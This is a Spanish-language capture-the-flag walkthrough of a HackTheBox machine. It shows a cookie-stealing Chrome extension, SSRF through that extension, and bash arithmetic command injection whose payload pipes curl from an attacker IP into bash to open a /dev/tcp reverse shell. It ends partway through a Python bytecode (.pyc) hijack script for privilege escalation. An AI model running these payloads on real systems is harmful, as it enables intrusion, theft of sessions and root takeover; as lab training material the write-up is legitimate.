[2555:2576:0111/001631.443706:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F1B94D87A1EF91D5' AND profile_id=? AND type=? AND metric_value IN(0,1,2)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443727:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191443593 result 0: 0 for segmentation key: shopping_user
[2555:2555:0111/001631.443772:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2555:2576:0111/001631.443782:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F806CECA7515DAAD' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443796:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2555:2555:0111/001631.443822:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.443832:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191443818 result 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2555:2576:0111/001631.443844:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443848:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191443818 result 0: 0 for segment id: RESUME_HEAVY_USER_SEGMENT
[2555:2555:0111/001631.443890:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191443818 result 0: 0 for segmentation key: resume_heavy_user
[2555:2576:0111/001631.443912:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(0,2,3)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2576:0111/001631.443971:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='DA0925D2758C07B7' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2576:0111/001631.444027:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COUNT(id) FROM metrics WHERE metric_hash = '64BD7CCE5A95BF00' Bind values:  Result: 0.000000,
[2555:2555:0111/001631.444384:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 for segment PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444434:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444487:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444527:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.444538:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191444522 result 0: 0 for segment PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444600:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191444522 result 0: 0 for segment id: PASSWORD_MANAGER_USER
[2555:2555:0111/001631.444745:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444822:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.444846:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191444815 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444899:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191444815 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2555:2555:0111/001631.444994:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191444522 result 0: 0 for segmentation key: password_manager_user
[2555:2555:0111/001631.445104:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191444815 result 0: 0 for segmentation key: search_user
[2555:2574:0111/001633.815355:VERBOSE1:shutdown_signal_handlers_posix.cc(136)] Handling shutdown for signal 15.
[2555:2555:0111/001633.838212:WARNING:zygote_communication_linux.cc(306)] Error reading message from zygote: Connection reset by peer (104)
[2555:2555:0111/001633.839066:ERROR:zygote_communication_linux.cc(296)] Failed to send GetTerminationStatus message to zygote
[2555:2555:0111/001633.839095:WARNING:zygote_communication_linux.cc(308)] Socket closed prematurely.

En el output encontramos:

  • El directorio de Chrome: /var/www/.cache/google-chrome-for-testing/
  • Se muestra que esta a la escucha DevTools: DevTools listening on ws://127.0.0.1:40899/devtools/browser/d228454d-b707-4ea4-83a9-29851a07bb18
  • Se indica diferentes solicitudes a http://localhost/,http://browsedinternals.htb asi como tambien a la direccion de la imagen definida en el codigo de la extension.

Tras el envio de la extension se muestra el comando a ejecutar. Se indican dos direcciones, una al localhost y al dominio browsedinternals.htb. Tambien, que la ejecucion no es en sandbox.

1

Running command: timeout 10s xvfb-run /opt/chrome-linux64/chrome --disable-gpu --no-sandbox --load-extension="/tmp/extension_6962ebd7c33750.47114202" --remote-debugging-port=0 --disable-extensions-except="/tmp/extension_6962ebd7c33750.47114202" --enable-logging=stderr --v=1 http://localhost/ http://browsedinternals.htb 2>&1 |tee /tmp/extension_6962ebd7c33750.47114202/output.log

Ademas, es posible la explotacion de SSRF a traves de una extension.

Gitea

Tras agregar browsedinternals.htb al archivo /etc/hosts observamos que gitea corre en el servidor bajo este dominio.

image

Malicious Extension

SSRF - Stealing Cookies

Creamos una extension que nos permitiria obtener las cookies de gitea de existir alguna. Se especifican los permisos, tanto para cookies como hosts. Tambien, se define un Service Worker.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

{
  "manifest_version": 3,
  "name": "Cookies",
  "version": "1.0",
  "permissions": ["cookies"],
  "host_permissions": [
    "http://browsedinternals.htb/*",
    "http://localhost/*"
  ],
  "background": {
    "service_worker": "background.js"
  }
}

Utilizando la API de Cookies creamos una funcion que imprime las cookies encontradas para gitea, utilizando console.error esto para que pueda ser mostrado en el output.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

function showCookies() {
    const gitea = "browsedinternals.htb";

    chrome.cookies.getAll({ domain: gitea }, (cookies) => {
        if (cookies.length === 0) {
            console.error("[-] No cookies found for " + gitea);
            return;
        }

        console.error("[+] Cookies for " + gitea + ":");
        cookies.forEach((cookie) => {
            console.error(`[COOKIE] Name: ${cookie.name} | Value: ${cookie.value}`);
        });
    });
}

chrome.runtime.onInstalled.addListener(() => {
    console.error("[!] Extension start");
    showCookies();
    console.error("[!] Extension end.");
});

Comprimimos en zip los dos archivos.

1
2
3
4
5
6
7

❯ zip extension.zip *
updating: background.js (deflated 52%)
updating: manifest.json (deflated 37%)
❯ 
❯ file extension.zip
extension.zip: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified Jan 10 2026 20:19:18, uncompressed size 609, method=deflate
❯

Tras subir la extension se observa en el output cookies para gitea.

image

Sin embargo estas cookies no son validas para ningun usuario.

1
2
3
4
5

[4543:4543:0111/021941.099257:INFO:CONSOLE(18)] "[+] Extension installed", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (18)
[4543:4543:0111/021941.103762:INFO:CONSOLE(20)] "[+] End.", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (20)
[4543:4543:0111/021941.104448:INFO:CONSOLE(10)] "[+] Cookies for browsedinternals.htb:", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (10)
[4543:4543:0111/021941.107976:INFO:CONSOLE(12)] "[COOKIE] Name: i_like_gitea | Value: 561973dbd5e2aa11", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (12)
[4543:4543:0111/021941.108018:INFO:CONSOLE(12)] "[COOKIE] Name: _csrf | Value: x2vj6G76TesWP9WWZaHRiUsjIqI6MTc2ODA5Nzk4MDg3OTk0ODM1MA", source: chrome-extension://papjmlefphjicnpkmeneoobhincnnnij/background.js (12)

Para localhost no existe ninguna cookie.

1

[4782:4782:0111/022658.354746:INFO:CONSOLE(6)] "[-] No cookies found for localhost", source: chrome-extension://hgaaheljbgmidnlpfmkoifhbbheekeeb/background.js (6)

Repository

El usuario larry tiene un repositorio en gitea. Segun la descripcion, esta permite cambiar archivos markdown a html.

image

Clonamos el repositorio para su analisis, se listan dos backups y un archivo log comprimido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

❯ git clone http://browsedinternals.htb/larry/MarkdownPreview.git
Cloning into 'MarkdownPreview'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (15/15), done.
❯ cd MarkdownPreview
❯ tree
.
├── app.py
├── backups
│   ├── data_backup_20250317_121551.tar.gz
│   └── data_backup_20250317_123946.tar.gz
├── files
│   └── cf23093c09e7478382e716e31d06b3ef.html
├── log
│   ├── routine.log
│   └── routine.log.gz
├── README.md
└── routines.sh

4 directories, 8 files
❯

Ninguno de los archivos comprimidos tiene informacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

❯ tar -xvf data_backup_20250317_121551.tar.gz
❯ tar -xvf data_backup_20250317_123946.tar.gz
home/larry/markdownPreview/data/
❯ tree home
home
└── larry
    └── markdownPreview
        └── data

4 directories, 0 files
❯ gunzip routine.log.gz
gzip: routine.log already exists; do you wish to overwrite (y or n)? y
❯ cat routine.log
[2025-03-17 12:15:39] Routine 0: Temporary files cleaned.
[2025-03-17 12:15:51] Routine 1: Data backed up to /home/larry/markdownPreview/backups.
[2025-03-17 12:16:49] Routine 0: Temporary files cleaned.
[2025-03-17 12:17:22] Routine 2: Log files compressed.
[2025-03-17 12:17:49] Routine 2: Log files compressed.
[2025-03-17 12:18:29] Routine 2: Log files compressed.
❯

Vulnerable Application

La aplicacion tiene rutas que permiten guardar archivos html desde contenido markdown, listar y poder ver su contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename

import markdown
import os, subprocess
import uuid

app = Flask(__name__)
FILES_DIR = "files"

# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)

@app.route('/')
def index():
    return '''
    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>
    '''


@app.route('/submit', methods=['POST'])
def submit():
    content = request.form.get('content', '')
    if not content.strip():
        return 'Empty content. <a href="/">Go back</a>'

    # Convert markdown to HTML
    html = markdown.markdown(content)

    # Save HTML to unique file
    filename = f"{uuid.uuid4().hex}.html"
    filepath = os.path.join(FILES_DIR, filename)
    with open(filepath, 'w') as f:
        f.write(html)

    return f'''
    <p>File saved as <code>{filename}</code>.</p>
    <p><a href="/view/{filename}">View Rendered HTML</a></p>
    <p><a href="/">Go back</a></p>
    '''

@app.route('/files')
def list_files():
    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
    links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
    return f'''
    <h1>Saved HTML Files</h1>
    <ul>{links}</ul>
    <p><a href="/">Back to editor</a></p>
    '''

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

@app.route('/view/<filename>')
def view_file(filename):
    filename = secure_filename(filename)
    if not filename.endswith('.html'):
        return "Invalid filename", 400
    return send_from_directory(FILES_DIR, filename)

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Command Injection via Bash Arithmetic Evaluation

En la ruta /routines/<rid> se acepta un argumento que es utilizado para ejecutar un script en bash.

1
2
3
4
5
6

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

En el script existen cuatro opciones que permiten el manejo de archivos, backups y logs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

En este encontramos que se esta haciendo uso de -eq.

1
2
3
4
5
6
7

# ... cut ...
if [[ "$1" -eq 0 ]]; then
# ... cut ...
elif [[ "$1" -eq 1 ]]; then
# ... cut ...
elif [[ "$1" -eq 2 ]]; then
# ... cut ...

Esto nos permitiria inyectar comandos a traves de expresiones aritmeticas. Similar a HTB: Eureka.

Local

Ejecutamos la aplicacion localmente modificando las variables del script. Realizamos una solicitud con el payload anterior.

1
2
3

❯ curl -g 'http://localhost:5000/routines/a[$(id)]'
Routine executed !
❯

La aplicacion muestra la ejecucion del comando localmente.

1
2

./routines.sh: line 12: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),126(lpadmin),134(wireshark),136(kaboxer),139(docker),655(nfsgroup),59605603(nfs): arithmetic syntax error in expression (error token is "(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),126(lpadmin),134(wireshark),136(kaboxer),139(docker),655(nfsgroup),59605603(nfs)")
127.0.0.1 - - [10/Jan/2026 21:25:44] "GET /routines/a[$(id)] HTTP/1.1" 200 -

Reverse Shell - Local

Localmente podemos obtener una shell inversa a traves de curl y un servidor http.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# payload
a[$(curl 10.10.15.38|bash)]
# index.html
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
# shell
❯ rlwrap nc -lvp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43972
┌──(kali㉿kali)-[~/htb/browsed/files/MarkdownPreview]
└─$ whoami
whoami
kali

SSRF + Command Injection

Modificamos la extension para realizar solicitudes a la aplicacion vulnerable, agregando el comando id.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

async function sendCommand() {    
    const url = `http://localhost:5000/routines/${encodeURIComponent("a[$(id)]")}`;
    try {
        const response = await fetch(url, {method: 'GET'});

        if (!response.ok) { console.error("[-] Failed"); }

        const data = await response.text();
        console.error("Success:", data);

    } catch (error) {
        console.error("Fetch error:", error);        
    }
}

chrome.runtime.onInstalled.addListener(() => {
    console.error("[+] Extension installed");
    sendCommand();
    console.error("[+] End.");
});

Tras subir la extension, este no muestra ningun error, por lo que asumimos que el comando fue ejecutado.

1
2
3
4

[5762:5780:0111/035817.748820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost:5000/routines/a%5B%24(id)%5D
[5733:5733:0111/035817.751436:INFO:CONSOLE(59)] "[+] Extension installed", source: chrome-extension://pclibdfccmlncehfjmdibmdaglidkomm/background.js (59)
[5733:5733:0111/035817.755060:INFO:CONSOLE(61)] "[+] End.", source: chrome-extension://pclibdfccmlncehfjmdibmdaglidkomm/background.js (61)
[5733:5733:0111/035817.777083:INFO:CONSOLE(51)] "Success: Routine executed !", source: chrome-extension://pclibdfccmlncehfjmdibmdaglidkomm/background.js (51)

Confirmamos tras enviar curl 10.10.15.38 y recibir una solicitud en nuestro servidor http.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# log
[5872:5872:0111/040137.850244:INFO:CONSOLE(55)] "[+] Extension installed", source: chrome-extension://logdokbmancdenhielhajgkpdmlllmml/background.js (55)
[5872:5872:0111/040137.853897:INFO:CONSOLE(57)] "[+] End.", source: chrome-extension://logdokbmancdenhielhajgkpdmlllmml/background.js (57)
[5901:5932:0111/040137.856581:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost:5000/routines/a%5B%24(curl%2010.10.15.38)%5D
[5901:5932:0111/040137.915247:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/favicon.png
[5901:5932:0111/040137.922019:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/favicon.svg
[5872:5872:0111/040138.047018:INFO:CONSOLE(47)] "Success: Routine executed !", source: chrome-extension://logdokbmancdenhielhajgkpdmlllmml/background.js (47)
# http server
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.4.134 - - [10/Jan/2026 22:01:41] "GET / HTTP/1.1" 200 -

User - www-data

Creamos el archivo index.html con una shell inversa y ejecutamos curl 10.10.15.38|bash con la extension.

1
2
3

❯ cat index.html
bash -i >& /dev/tcp/10.10.15.38/1335 0>&1
❯

Con ello logramos una shell inversa y acceso a user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.38] from browsedinternals.htb [10.129.4.134] 46064
bash: cannot set terminal process group (1460): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ whoami;id;pwd
larry
uid=1000(larry) gid=1000(larry) groups=1000(larry)
/home/larry/markdownPreview
larry@browsed:~/markdownPreview$ cd
larry@browsed:~$ ls
markdownPreview
user.txt
larry@browsed:~$ cat user.txt
ebb50b719561737dd83fde869a22bd05
larry@browsed:~$

Privesc

Larry puede ejecutar /opt/extensiontool/extension_tool.py como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

larry@browsed:~$ sudo -l -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User larry may run the following commands on browsed:

Sudoers entry: /etc/sudoers
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/opt/extensiontool/extension_tool.py
larry@browsed:~$

El script permite crear un archivo ZIP de las extensiones en /opt/extensiontool/extensions/. Asi como cambiar la version y limpiar el directory temporal para estas operaciones. Utiliza las funciones de extension_utils.py para validacion y limpieza.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
    version = data["version"]
    major, minor, patch = map(int, version.split('.'))
    if level == 'major':
        major += 1
        minor = patch = 0
    elif level == 'minor':
        minor += 1
        patch = 0
    else:
        patch += 1

    new_version = f"{major}.{minor}.{patch}"
    data["version"] = new_version

    with open(path, 'w', encoding='utf-8') as f:
        json.dump(data, f, indent=2)
    
    print(f"[+] Version bumped to {new_version}")
    return new_version

def package_extension(source_dir, output_file):
    temp_dir = '/opt/extensiontool/temp'
    if not os.path.exists(temp_dir):
        os.mkdir(temp_dir)
    output_file = os.path.basename(output_file)
    with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
        for foldername, subfolders, filenames in os.walk(source_dir):
            for filename in filenames:
                filepath = os.path.join(foldername, filename)
                arcname = os.path.relpath(filepath, source_dir)
                zipf.write(filepath, arcname)
    print(f"[+] Extension packaged as {temp_dir}/{output_file}")

def main():
    parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
    parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
    
    args = parser.parse_args()

    if args.clean:
        clean_temp_files(args.clean)

    args.ext = os.path.basename(args.ext)
    if not (args.ext in os.listdir(EXTENSION_DIR)):
        print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
        exit(1)
    
    extension_path = os.path.join(EXTENSION_DIR, args.ext)
    manifest_path = os.path.join(extension_path, 'manifest.json')

    manifest_data = validate_manifest(manifest_path)
    
    # Possibly bump version
    if (args.bump):
        bump_version(manifest_data, manifest_path, args.bump)
    else:
        print('[-] Skipping version bumping')

    # Package the extension
    if (args.zip):
        package_extension(extension_path, args.zip)
    else:
        print('[-] Skipping packaging')


if __name__ == '__main__':
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

import os
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError

# Simple manifest schema that we'll validate
MANIFEST_SCHEMA = {
    "type": "object",
    "properties": {
        "manifest_version": {"type": "number"},
        "name": {"type": "string"},
        "version": {"type": "string"},
        "permissions": {"type": "array", "items": {"type": "string"}},
    },
    "required": ["manifest_version", "name", "version"]
}

# --- Manifest validate ---
def validate_manifest(path):
    with open(path, 'r', encoding='utf-8') as f:
        data = json.load(f)
    try:
        validate(instance=data, schema=MANIFEST_SCHEMA)
        print("[+] Manifest is valid.")
        return data
    except ValidationError as e:
        print("[x] Manifest validation error:")
        print(e.message)
        exit(1)

# --- Clean Temporary Files ---
def clean_temp_files(extension_dir):
    """ Clean up temporary files or unnecessary directories after packaging """
    temp_dir = '/opt/extensiontool/temp'

    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    else:
        print("[+] No temporary files to clean.")
    exit(0)

Observamos que al indicar la extension y el nombre del archivo zip se crea este en /opt/extensiontool/temp/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

larry@browsed:/opt/extensiontool/extensions/Timer$ sudo /opt/extensiontool/extension_tool.py --ext Timer --zip test.zip
[+] Manifest is valid.
[-] Skipping version bumping
[+] Extension packaged as /opt/extensiontool/temp/test.zip
larry@browsed:/opt/extensiontool/extensions/Timer$ ls -lah /opt/extensiontool/temp/
total 12K
drwxr-xr-x 2 root root 4.0K Jan 11 04:32 .
drwxr-xr-x 5 root root 4.0K Jan 11 04:32 ..
-rw-r--r-- 1 root root 1.4K Jan 11 04:32 test.zip
larry@browsed:/opt/extensiontool/extensions/Timer$ file /opt/extensiontool/temp/test.zip
/opt/extensiontool/temp/test.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
larry@browsed:/opt/extensiontool/extensions/Timer$

Nuestro usuario no puede escribir en ningun archivo que pertenezca a este script. Sin embargo, puede realizar la escritura en __pycache__.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

larry@browsed:/$ ls -lah /opt/extensiontool/
total 24K
drwxr-xr-x 4 root root 4.0K Jan 11 05:41 .
drwxr-xr-x 4 root root 4.0K Aug 17 12:55 ..
drwxrwxr-x 5 root root 4.0K Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2.7K Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1.3K Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4.0K Jan 11 05:40 __pycache__
larry@browsed:/$ ls -lah /opt/extensiontool/__pycache__/
total 12K
drwxrwxrwx 2 root root 4.0K Jan 11 05:40 .
drwxr-xr-x 4 root root 4.0K Jan 11 05:41 ..
-rw-r--r-- 1 root root 1.9K Jan 11 05:40 extension_utils.cpython-312.pyc
larry@browsed:/$

Code Execution via PYC Files

En Python si se importa un modulo, verifica que este exista, luego, verifica el bytecode compilado (.pyc) de ese modulo, si existe, verifica que el magic number y timestamp coicidan con el archivo fuente o .py, de ser asi se carga este ‘modulo compilado’ (pep-3147 - 1). .pyc hace que cargar el modulo se mas rapido (pep-3147 - 2).

La estrucutra de un archivo Python Bytecode se muestra de la siguiente forma:

image

  • Bytes 0 a 3 contienen el magic number para diferenciar la version de Python que se utilizo para generar el archivo.
  • Bytes 4 a 7 bit field, contiene 4 null bytes.
  • Bytes 8 a 11, el timestamp del archivo fuente, la fecha de modificacion.
  • Bytes 12 a 15, el tamano del archivo fuente

Ref. Python Dirty Arbitrary File Write …, Python bytecode analysis (1)

Al ejecutar el script (extension_tool.py) este siempre valida el archivo manifest.json, la funcion proviene del ‘modulo’ extension_utils.py. Al tener acceso a __pycache__/ de este script es posible sobreescribir el archivo .pyc para que extension_tool.py tome y ejecute codigo modificado, en este caso el bytecode compilado extension_utils.cpython-312.pyc.

Exploit

Escribimos un script que crea un archivo .pyc en base al archivo original. Inicialmente, se obtienen los valores del header, luego el bytecode de la nueva funcion objetivo en este caso validate_manifest() ejecutando whoami > /dev/shm/whoami.txt, finalmente se elimina el archivo original y se escribe uno nuevo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

import struct
import time
import marshal
import os

ORIGINAL_PYC = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
FIELD_SIZE = 4

def codeRCE():

    def validate_manifest():
        import os
        os.system("whoami > /dev/shm/whoami.txt")
        print("PWN!")
        exit(1)
    # ByteCode of the function
    return validate_manifest.__code__


def readHeaders():
    headers = []
    with open(ORIGINAL_PYC, "rb") as f:
        pyc_file = f.read()
        headers_original = pyc_file[0:16]
        headers = [headers_original[i:i + FIELD_SIZE] for i in range(0, len(headers_original), FIELD_SIZE)]
    return headers

def modifyBytecode():
